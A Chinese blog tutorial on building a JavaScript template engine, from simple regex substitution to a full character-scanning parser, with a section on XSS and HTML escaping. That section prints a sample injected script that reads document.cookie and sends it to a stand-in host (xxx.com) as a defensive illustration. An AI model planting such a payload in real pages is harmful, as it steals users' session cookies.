上一篇: 前端 Makefile 自动化脚本配置下一篇: Macro task/Micro task

写一个模板引擎


字符串处理通常会用拼接方式, 一旦加入了复杂逻辑代码就很臃肿, 这样既降低了性能又使维护难度大大增加, 通常更好的解决方案是 模板

编程提倡 高内聚, 低耦合, 简而言之, 复杂系统按功能拆分为多个子模块, 每个模块只做一件事, 功能不相关的模块独立开来, 互不影响, 功能相关的模块放在一起, 保证上下文切换迅速和高速通信. 因此, 系统其实可以拆分为 model, view, controller 三层, 首先一个 事件(或一个请求) 会触发 controller 层的模块 C 工作, C 会将事件投射到对应的 model 层的模块 M, M 会处理整个逻辑, 包括对数据库的 curd, 然后 M 会根据逻辑调用对应处于 view 层中的模块 V, 本章所说的模板引擎就处于 V 中, 在任何时候 M 只需将获取到的数据传入模块 V, 然后 V 会自动生成出想要的结果字符串.

有些地方会说 模板渲染, 感觉很高大上, 其实也就是函数生成字符串的过程

模板引擎不是简单的字符串替换, 它允许你在其中写入视图展示相关逻辑代码. 比如通过某个字段动态控制某个标签显隐.

模板引擎原理

为了让程序能将逻辑代码和原样输出的字符串区分开, 模板引擎通常使用 {{ }}, <% %> 作为特殊分隔符 , 因为它们容易在键盘输出, 可以区分括号内外, 且通常不会出现在代码中. 其他特殊字符例如 œ∑®† 也是可以的, 但输入比较麻烦.

现在有如下字符串模板, 我想用模板引擎将其转成一个函数, 此函数执行时可以用传入对象中的数据动态填充, 生成最终字符串并返回

最简单的模板引擎

最简单的模板引擎其实就是将字符串中特定片段匹配, 然后替换:

function format (str, data) {
    data = data || {};
    return tpl.replace(/%\((.+?)\)%/g, function ($0, $1) {
        return data[$1] || $1;
    });
}

var tpl = '' +
    '<tr>' +
        '<td>%(name)%</td>' +
        '<td>%(age)%</td>' +
        '<td>%(gender)%</td>' +
    '</tr>'

var res = format(tpl, {
    name: 'Jay',
    age: 39,
    gender: 'male'
});

上面这种模板替换函数只能对指定模板做一个简单替换, 如果模板里面涉及到逻辑判断则无能为力

包含逻辑的模板引擎

模板 tpl.ejs

<!-- 模板 tpl.ejs -->
<%if (list.length > 0) {%>
    <ul>
        <%list.forEach(function(e, i) {%>
            <%if (e.id > 1) {%>
                <li data-id="<%-e.id%>"><%=e.name%></li>
            <%}%>
        <%})%>
    </ul>
<%} else {%>
    <div class="null">无数据</div>
<%}%>

我要用模板引擎将上面代码转成一个函数 fn, 执行 fn 的时候传入 list 是个数组, 会动态渲染出来.

var fn = function () { /* 模板转换之后的函数 */ }

// 传入数组
var list = [{
    id: 1, name: 'Tom'
}, {
    id: 2, name: 'Jim'
}, {
    id: 3, name: 'Lily'
}]

fn({ list: list });
<!-- 想要的输出 -->
<ul>
    <li data-id="2">Jim</li>
    <li data-id="3">Lily</li>
</ul>

根据上面传入的数组和输出的字符串, 可以猜测出 fn 的函数体大概是这样:

function fn (data) {
    var res = '';
    with (data) {
        if (list.length) {
            res += '<ul>';
            list.forEach(function (e, i) {
                if (e.id > 1) {
                    res += '<li data-id="' + e.id '">' + e.name + '</li>';
                }
            });
            res += '</ul>';
        } else {
            res += '<div class="null">无数据</div>';
        }
    }
    return res;
}

那么, 实际上模板引擎做的事情就是把模板转成函数, 方便代码执行时能动态生成 html 字符串, 然后将其设置到某个 dom 节点的 innerHTML 即可.

XSS

XSS (Cross Site Script) 是跨站脚本注入的首字母缩写, 为了区别于 CSS, 所以叫 xss, xss 的主要攻击方式是脚本注入, 我们知道 script 标签在 html 中可以放在任何地方执行, 那么问题来了,

// 假设某论坛中有这么一段逻辑
var list = document.getElementById('list');
$.get('/get_post_list', function (res) {
    if (res.code === 0) {
        list.innerHTML = fn(res.data);
    }
})

上面第5行中, 通过 innerHTML 直接填充模板函数 fn 生成的字符串, webkit 内核会对其解析, 生成 DOM, CSSOM, 然后 重排重绘 等一系列操作, 因为 res.data 中包含其他用户提交的内容, 如果没有做安全防范, 则会原样输出到 list 节点内部, 假设其他用户发帖子提交内容中包含这么一段:

这里全是其他用户的提交内容, 哈哈
<script>
    var cookie = document.cookie;
    new Image().src = 'http://xxx.com?cookie=' + encodeURIComponent(cookie);
</script>

那么, 当我打开这个论坛, 显示那个用户发的帖子时, 实际上已经被他注入了上面的脚本, 并且直接盗取了我当前账号的 cookie, 因为 HTTP 协议是无状态的, 为了保持用户登录状态 ( 刷新或跳转同域其他页面后仍然是登录状态 ), 网站通常会使用 cookie-session 机制实现. 因此, cookie被盗 等同于当前网站账号的登录态被盗, 相当危险!

为了防止任何情况被 XSS 攻击, 我们要做的就是 - 永远不要相信用户输入, 在模板引擎中要对特殊字符转码, 把 <script> 替换为 &lt;script&gt;, 然后整个 script 及其包裹代码会当成纯文本解析, 直接输出, &lt;&gt; 最终渲染样式和 <, > 无任何区别

需要替换的符号和对应 html 符号是:

因此在显示用户输入内容之前, 就应该用一个 encode 函数对其转码:

function encode (html) {
    return String(html).replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/`/g, '&#96;')
        .replace(/'/g, '&#39;')
        .replace(/"/g, '&quot;')
}

事实上, 我们不应该对整个模板进行转码, 否则需要正常展示的 html 会无法被解析成 DOM 节点, 而是当成纯文本直接显示.

因此转码这件事需要在模板中去做, 这里使用 ejs 的模板规范, 输出的时候用 = 表示要对表达式的结果 encode 一下, - 表示直接原样输出表达式.

所以对比上面模板和 fn, 对 fn 的猜想要改成如下代码:

目标函数

function fn (data) {
    var res = '';
    with (data) {
        if (list.length) {
            res += '<ul>';
            list.forEach(function (e, i) {
                if (e.id > 1) {
                    res += '<li data-id="' + e.id '">' + encode(e.name) + '</li>';
                }
            });
            res += '</ul>';
        } else {
            res += '<div class="null">无数据</div>';
        }
    }
    return res;
}

对于 fn 和模板会发现, %> <% 之间的内容会直接保存到变量, 最后输出, <% %> 之间的内容是 js 逻辑代码, 所以模板引擎会首先用 <%%> 断开模板, 然后 逐片遍历, 那么首先想到的是 split

详看 下面代码, 回到模板 tpl.ejs

var tpl =  fs.readFileSync('./tpl.ejs').toString();

var arr = tpl.split(/<%[=-]?|%>/);

// // arr 得到这样的结果 
//
// [
//     'if (list.length > 0) {',
//     '\n\t<ul>\n\t\t',
//     'list.forEach(function(e, i) {',
//     '\n\t\t\t',
//     'if (e.id > 1) {',
//     '\n\t\t\t\t<li data-id=\'',
//     'e.id',
//     '\'>',
//     'e.name',
//     '</li>\n\t\t\t',
//     '}',
//     '\n\t\t','})',
//     '\n\t</ul>\n',
//     '} else {',
//     '\n\t<div class=\'null\'>无数据</div>\n',
//     '}'
// ]

arr.forEach(function (code, i) {
    // 这里我并不知道对应的片段 code 是 <%%> 之内还是之外 ? !
});

只能通过 <% %> 来判断内外关系, 因此想断开代码的同时, 还需要保留 <% %>

正则实现模板引擎

首先我要用正则匹配 <% ... %>, 那么:

/<%[\s\S]+?%>/

不能先匹配 <%...%> 之间再匹配 %>...<%, 因为他们之间的顺序是穿插的, 这里先尝试匹配 <%...%>, 如果不是 <% 开始才尝试用通配符匹配, 直到下一个 <% 位置, 所以需要用到 |, 表示否则的意思

完整的正则匹配

var tpl =  fs.readFileSync('./tpl.ejs').toString();

var arr = tpl.match(/<%[\s\S]+?%>|[\s\S]+?(?=<%)/g);

// // arr 的结果
//
// [
//     '<%if (list.length > 0) {%>',
//     '\n\t<ul>\n\t\t',
//     '<%list.forEach(function(e, i) {%>',
//     '\n\t\t\t',
//     '<%if (e.id > 1) {%>',
//     '\n\t\t\t\t<li data-id=\'',
//     '<%-e.id%>',
//     '\'>',
//     '<%=e.name%>',
//     '</li>\n\t\t\t',
//     '<%}%>',
//     '\n\t\t',
//     '<%})%>',
//     '\n\t</ul>\n',
//     '<%} else {%>',
//     '\n\t<div class=\'null\'>无数据</div>\n',
//     '<%}%>'
// ]

这正是我想要的! 直接遍历, 然后根据开头字符是否是 <% 判断是否在内部即可. 如果, 则直接作为 js 逻辑代码, 若不是, 直接作为输出字符串拼接到变量中

现在回过头来看上面的 目标函数

正则实现的最终版本:

function transform (tpl) {
    if (typeof tpl !== 'string') throw new TypeError('tpl 必须是 string!');

    var ret = '', list = tpl.match(/<%[\s\S]+?%>|[\s\S]+?(?=<%)/g);
    if (!list || list.length === 0) return function () { return ''; }
    list.forEach(function (code, i) {
        if (code.indexOf('<%') === 0) {
            code = code.replace(/^<%|%>$/g, '');
            var c = code.charAt(0);
            if (c === '=') {
                ret += 'res += encode(' + code.substring(1) + ');\n';
            } else if (c === '-') {
                ret += 'res += ' + code.substring(1) + ';\n';
            } else {
                ret += code + '\n';
            }
        } else {
            ret += 'res += "' + code.replace(/"/g, '\\"').replace(/\n/g, '\\n') + '";\n';
        }
    });
    ret = 'var res = "";\nwith (data || {}) {\n' + ret + '\n}\nreturn res;';
    var fn = new Function('data', 'encode', ret);
    return function (data) {
        return fn(data, encode);
    }

    function encode (html) {
        return String(html).replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/`/g, '&#96;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
    }
}

用正则表达式只能写到这里了, 但还 没完, 其实这个模板引擎是存在bug的

<%
function abc () {
    var str = 'test %> www';
}

if (list && list.length) {%>
    <ul>...</ul>
<%}%>

上图可见, 第三行中出现了字符串, 在 正则表达式的局限性 中提到过, js语句中的字符串内容变幻无穷, 除此之外, 里面可能包含 ///* */, 注释内容也可以是任意值, 所以一旦代码中的字符串或注释和分隔符 <% %> 重合, 就会导致模板转换出错.

准确地说, 其实正则表达式没有办法写一个无bug的模板引擎, 因为它只能做匹配、分组, 并不能判断当前匹配点是处于什么状态

完美模板引擎

既然用正则无法完美分割, 那么只能 逐字解析, 但需要识别当前解析位置所处状态, 若是字符串或注释中, 即使遇到分隔号也跳过; 若是正则表达式中, 也是可以存在分隔符的. 因此, 我们做的事有点类似于在做 语法解析, 后面会单独聊聊 抽象语法树(AST)

模板引擎由于分隔符简单, 解析无需用到抽象语法树(AST), 这里使用双指针 i, j 对特殊状态做一个识别并跳过, 以下是完美模板引擎:

/**
 * created by flfwzgl
 * github.com/flfwzgl/tjs
 */

;(function (factory) {  // eslint-disable-line
  if (typeof module === 'object' && module.exports) {
    module.exports = factory();
  } else {
    window.tjs = factory();
  }
})(function () {
  function _encodeHTML (html) {
    return String(html)
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/`/g, '&#96;')
      .replace(/'/g, '&#39;')
      .replace(/"/g, '&quot;')
  }

  // 对 \ " \n 转义
  function _escape (str) {
    return String(str)
      .replace(/\\/g, '\\\\')
      .replace(/"/g, '\\"')
      .replace(/\n/g, '\\n')
  }

  return function transform (str, opt) {
    str = str || '';
    opt = opt || {};

    var open = opt.open || '<%'
      , close = opt.close || '%>'
      , openLen = open.length
      , closeLen = close.length
      , len = str.length

    var ws = '[\\x20\\t]';  // whitespace

    // https://www.ecma-international.org/ecma-262/5.1/#sec-11.4
    /**
     * '(':   (/abc/)
     * '[':   [/abc/]
     * ',':   (1,/abc/)
     * '?':   a?/abc/:''
     * ':':   {a:/abc/} or a?'':/abc/
     * ';':   ;/abc/
     * '&':   a&&/abc/
     */
    // 一元运算符, 二元操作符, 以及 (, [, ;
    var operator = '[=:,(+\\-*;!?&|[%<>^~]';

    // 对 / 左边判断当前是否处于正则
    // 使用频率从高到低排列, 以提升正则性能
    var identifer = '(?:'
      + '(?:' + operator + '|^)(?:|' + ws + '*typeof' + ws + '|' + ws + '*delete' + ws + '|' + ws + '*void' + ws + ')'
      + '|'
      + '(?:' + ws + 'in|' + ws + 'instanceof|' + ws + 'of)' + ws
      + ')'
      + ws + '*$'

    var rcheckStartWithReg = new RegExp(identifer);

    var i = 0   // 跟踪<%之后
      , j = 0   // 扫描<%%>内部, 直到%>
      , k = 0   // 跟踪\n之后, '', "", ``, //, /**/之后
      , body = ''
      , isJs = false
      , ch
      , tmp
      , isBracketOpen = false
      , mustCut = false

    while (j <= len) {
      if (!isJs) {
        // html
        if (str.indexOf(open, j) === j || j === len) {
          if (i < j) {
            tmp = _escape(str.substring(i, j));
            if (isBracketOpen) {
              body += ', "' + tmp + '"';
            } else {
              body += '\n_res.push("' + tmp + '"';
              isBracketOpen = true;
            }
          }
          k = i = j += openLen;
          isJs = true;
          continue;
        }
      } else {
        // js
        ch = str.charAt(j);

        if (ch === '\n') {
          k = ++j;
          continue;
        }

        if (str.substring(j, j + 2) === '//') {
          j = str.indexOf('\n', j);
          k = j = ~j ? j + 1 : len;
          continue;
        }

        if (str.substring(j, j + 2) === '/*') {
          j = str.indexOf('*/', j + 2);
          k = j = ~j ? j + 2 : len;
          continue;
        }

        // 到底是正则表达式如 /2+3/ , 还是 1/2+3/4 类型算术表达式?
        if (ch === '/' && rcheckStartWithReg.test(str.substring(k, j))) {
          /** 
           * var a = 1
           * /abc/
           * error: Uncaught SyntaxError
           */
          mustCut = true;
          while (~(j = str.indexOf('/', j + 1)))
            if (str.charAt(j - 1) !== '\\') break;
          j = ~j ? j + 1 : len;
          continue;
        }

        if (ch === '\'') {
          while (~(j = str.indexOf('\'', j + 1)))
            if (str.charAt(j - 1) !== '\\') break;
          k = j = ~j ? j + 1 : len;
          continue;
        }

        if (ch === '"') {
          while (~(j = str.indexOf('"', j + 1)))
            if (str.charAt(j - 1) !== '\\') break;
          k = j = ~j ? j + 1 : len;
          continue;
        }

        if (ch === '`') {
          mustCut = true;
          while (~(j = str.indexOf('`', j + 1)))
            if (str.charAt(j - 1) !== '\\') break;
          k = j = ~j ? j + 1 : len;
          continue;
        }

        if (str.indexOf(close, j) === j || j === len) {
          ch = str.charAt(i);
          if (ch === '=' || ch === '-') {
            if (tmp = str.substring(i + 1, j).trim()) {
              if (isBracketOpen) {
                body += ch === '='
                  ? ', _encodeHTML(' + tmp + ')'
                  : ', ' + tmp
              } else {
                body += ch === '='
                  ? '\n_res.push(_encodeHTML(' + tmp + ')'
                  : '\n_res.push(' + tmp

                isBracketOpen = true;
              }
            }
          } else {            
            if (isBracketOpen) body += ')';
            if (mustCut) body += ';';

            body += '\n' + str.substring(i, j);

            isBracketOpen = false;
          }

          mustCut = false;
          i = j += closeLen;
          isJs = false;
          continue;
        }
      }
      j++;
    }

    if (isBracketOpen) body += ')';

    body = body
      ? 'var _res = [];\n' +
        'with (data || {}) {' + body + '\n}\n' +
        'return _res.join("");'
      : 'return "";'

    var _render = new Function('data', '_encodeHTML', body);
    var render = function (data) {
      return _render(data, _encodeHTML);
    }

    return render.body = body, render;
  }

});

为了便于理解上面的代码, 我制作了一张 gif 动图, 如下图:

至此, 一个功能完整的模板引擎的主框架就搭建完成! 为了让模板引擎格式化字符串更方便, 可自己为添加常见或自定义的 include 以及 filter 功能, 例如 <%=data.money | currency%> 可对金额进行格式化. 也可在打包工具中为模板引擎添加缓存功能, 防止相同路径文件重复转换。 这些功能难度并不大, 也就不演示了

测试例子

在线demo

上一篇: 前端 Makefile 自动化脚本配置下一篇: Macro task/Micro task